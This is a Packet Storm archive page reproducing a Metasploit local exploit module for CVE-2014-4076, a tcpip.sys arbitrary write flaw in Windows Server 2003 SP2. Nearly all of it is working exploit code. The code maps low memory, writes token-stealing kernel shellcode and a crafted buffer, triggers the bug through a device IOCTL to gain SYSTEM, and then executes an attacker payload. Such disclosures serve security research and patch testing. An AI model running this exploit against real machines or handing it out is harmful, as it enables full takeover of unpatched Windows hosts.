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packetstormMatt BerginPACKETSTORM:130257
HistoryFeb 05, 2015 - 12:00 a.m.

Windows tcpip.sys Arbitrary Write Privilege Escalation

2015-02-0500:00:00
Matt Bergin
packetstormsecurity.com
40

0.001 Low

EPSS

Percentile

17.5%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/local/windows_kernel'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation',  
'Description' => %q{  
A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys,  
can allow an attacker to inject controlled memory into an arbitrary  
location within the kernel.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC  
'Jay Smith <jsmith[at]korelogic.com>' # MSF module  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
['Windows Server 2003 SP2',  
{  
'_KPROCESS' => "\x38",  
'_TOKEN' => "\xd8",  
'_UPID' => "\x94",  
'_APLINKS' => "\x98"  
}  
]  
],  
'References' =>  
[  
['CVE', '2014-4076'],  
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt']  
],  
'DisclosureDate'=> 'Nov 11 2014',  
'DefaultTarget' => 0  
}))  
  
end  
  
def check  
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/  
return Exploit::CheckCode::Safe  
end  
  
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')  
return Exploit::CheckCode::Safe unless handle  
  
session.railgun.kernel32.CloseHandle(handle)  
  
file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"  
unless file?(file_path)  
return Exploit::CheckCode::Unknown  
end  
  
major, minor, build, revision, branch = file_version(file_path)  
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")  
  
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
if is_system?  
fail_with(Exploit::Failure::None, 'Session is already elevated')  
end  
  
if sysinfo["Architecture"] =~ /wow64/i  
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")  
elsif sysinfo["Architecture"] =~ /x64/  
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")  
end  
  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")  
end  
  
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')  
if handle.nil?  
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")  
end  
  
print_status("Storing the shellcode in memory...")  
this_proc = session.sys.process.open  
  
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")  
  
unless this_proc.memory.writable?(0x1000)  
fail_with(Failure::Unknown, 'Failed to allocate memory')  
end  
  
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"  
  
sc = token_stealing_shellcode(target, nil, nil, false)  
# move up the stack frames looking for nt!KiSystemServicePostCall  
sc << "\x31\xc9" # xor ecx, ecx  
sc << "\x89\xeb" # mov ebx, ebp  
# count_frames  
sc << "\x41" # inc ecx  
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000  
sc << "\x8b\x1b" # mov ebx, dword [ebx]  
sc << "\x75\xf4" # jne short count_frames  
sc << "\x49" # dec ecx  
# loop_frames  
sc << "\x49" # dec ecx  
sc << "\x89\xec" # mov esp, ebp  
sc << "\x5d" # pop ebp  
sc << "\x83\xf9\x00" # cmp ecx, 0  
sc << "\x75\xf7" # jne loop_frames  
sc << "\x31\xc0" # xor eax, eax  
sc << "\xc3" # ret  
  
this_proc.memory.write(0x28, "\x87\xff\xff\x38")  
this_proc.memory.write(0x38, "\x00\x00")  
this_proc.memory.write(0x1100, buf)  
this_proc.memory.write(0x2b, "\x00\x00")  
this_proc.memory.write(0x2000, sc)  
  
print_status("Triggering the vulnerability...")  
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)  
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it  
  
print_status("Checking privileges after exploitation...")  
  
unless is_system?  
fail_with(Failure::Unknown, "The exploitation wasn't successful")  
end  
  
print_good("Exploitation successful!")  
unless execute_shellcode(payload.encoded, nil, this_proc.pid)  
fail_with(Failure::Unknown, 'Error while executing the payload')  
end  
end  
  
end  
`